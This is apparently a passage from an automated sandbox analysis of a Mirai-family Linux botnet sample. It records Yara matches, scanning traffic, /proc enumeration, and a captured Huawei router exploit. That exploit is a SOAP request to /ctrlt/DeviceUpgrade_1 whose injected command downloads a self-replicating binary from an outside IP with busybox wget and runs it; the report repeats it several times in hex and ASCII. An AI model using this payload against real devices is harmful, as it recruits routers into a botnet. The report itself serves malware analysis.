s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Sample listens on a socket
Source: /tmp/Qymt4zooqx.elf (PID: 5507) Socket: 127.0.0.1::8345 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 197.52.146.217
Source: unknown TCP traffic detected without corresponding DNS query: 197.41.219.28
Source: unknown TCP traffic detected without corresponding DNS query: 157.148.149.218
Source: unknown TCP traffic detected without corresponding DNS query: 41.26.62.10
Source: unknown TCP traffic detected without corresponding DNS query: 41.14.1.38
Source: unknown TCP traffic detected without corresponding DNS query: 157.5.236.26
Source: unknown TCP traffic detected without corresponding DNS query: 89.247.113.169
Source: unknown TCP traffic detected without corresponding DNS query: 41.119.66.161
Source: unknown TCP traffic detected without corresponding DNS query: 157.163.52.249
Source: unknown TCP traffic detected without corresponding DNS query: 41.56.161.237
Source: unknown TCP traffic detected without corresponding DNS query: 41.147.0.237
Source: unknown TCP traffic detected without corresponding DNS query: 157.234.174.73
Source: unknown TCP traffic detected without corresponding DNS query: 197.27.56.151
Source: unknown TCP traffic detected without corresponding DNS query: 124.185.211.78
Source: unknown TCP traffic detected without corresponding DNS query: 41.98.95.200
Source: unknown TCP traffic detected without corresponding DNS query: 41.206.9.40
Source: unknown TCP traffic detected without corresponding DNS query: 43.145.152.32
Source: unknown TCP traffic detected without corresponding DNS query: 197.134.52.236
Source: unknown TCP traffic detected without corresponding DNS query: 157.75.95.53
Source: unknown TCP traffic detected without corresponding DNS query: 197.89.29.219
Source: unknown TCP traffic detected without corresponding DNS query: 157.150.246.9
Source: unknown TCP traffic detected without corresponding DNS query: 157.172.92.168
Source: unknown TCP traffic detected without corresponding DNS query: 192.253.239.9
Source: unknown TCP traffic detected without corresponding DNS query: 24.116.245.175
Source: unknown TCP traffic detected without corresponding DNS query: 41.228.69.205
Source: unknown TCP traffic detected without corresponding DNS query: 197.165.122.113
Source: unknown TCP traffic detected without corresponding DNS query: 197.14.101.252
Source: unknown TCP traffic detected without corresponding DNS query: 157.191.50.240
Source: unknown TCP traffic detected without corresponding DNS query: 157.90.176.211
Source: unknown TCP traffic detected without corresponding DNS query: 41.241.202.156
Source: unknown TCP traffic detected without corresponding DNS query: 41.99.255.58
Source: unknown TCP traffic detected without corresponding DNS query: 83.253.211.148
Source: unknown TCP traffic detected without corresponding DNS query: 41.150.160.248
Source: unknown TCP traffic detected without corresponding DNS query: 197.228.47.144
Source: unknown TCP traffic detected without corresponding DNS query: 41.125.252.105
Source: unknown TCP traffic detected without corresponding DNS query: 41.95.53.252
Source: unknown TCP traffic detected without corresponding DNS query: 1.103.218.132
Source: unknown TCP traffic detected without corresponding DNS query: 197.106.194.44
Source: unknown TCP traffic detected without corresponding DNS query: 124.217.144.128
Source: unknown TCP traffic detected without corresponding DNS query: 216.78.213.181
Source: unknown TCP traffic detected without corresponding DNS query: 41.173.74.180
Source: unknown TCP traffic detected without corresponding DNS query: 157.90.244.254
Source: unknown TCP traffic detected without corresponding DNS query: 121.89.185.94
Source: unknown TCP traffic detected without corresponding DNS query: 157.229.137.160
Source: unknown TCP traffic detected without corresponding DNS query: 157.22.11.63
Source: unknown TCP traffic detected without corresponding DNS query: 157.165.16.193
Source: unknown TCP traffic detected without corresponding DNS query: 197.237.22.86
Source: unknown TCP traffic detected without corresponding DNS query: 43.188.178.94
Source: unknown TCP traffic detected without corresponding DNS query: 157.93.121.24
Source: unknown TCP traffic detected without corresponding DNS query: 96.205.55.123
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Qymt4zooqx.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Qymt4zooqx.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Qymt4zooqx.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: Qymt4zooqx.elf, type: SAMPLE Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5507.1.00007f388402d000.00007f388402e000.rw-.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5507.1.00007f3884011000.00007f388401e000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5507.1.00007f3884011000.00007f388401e000.r-x.sdmp, type: MEMORY Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: Qymt4zooqx.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: Qymt4zooqx.elf, type: SAMPLE Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5507.1.00007f388402d000.00007f388402e000.rw-.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5507.1.00007f3884011000.00007f388401e000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5507.1.00007f3884011000.00007f388401e000.r-x.sdmp, type: MEMORY Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: classification engine Classification label: mal100.troj.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3760/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1583/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/2672/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/110/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3759/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/111/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/112/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/113/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/234/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1577/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/114/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/235/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/115/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/116/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/117/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/118/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/119/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3757/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/10/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/917/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3758/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/11/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/12/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/13/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/14/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/15/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/16/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/17/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/18/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/19/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1593/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/240/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/120/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3094/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/121/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/242/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3406/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/122/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/243/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/2/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/123/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/244/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1589/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/124/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/245/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/1588/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/125/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/4/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/246/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/3402/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/126/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/5/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/247/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/127/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/6/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/248/cmdline Jump to behavior
Source: /tmp/Qymt4zooqx.elf (PID: 5511) File opened: /proc/128/cmdline Jump to behavior
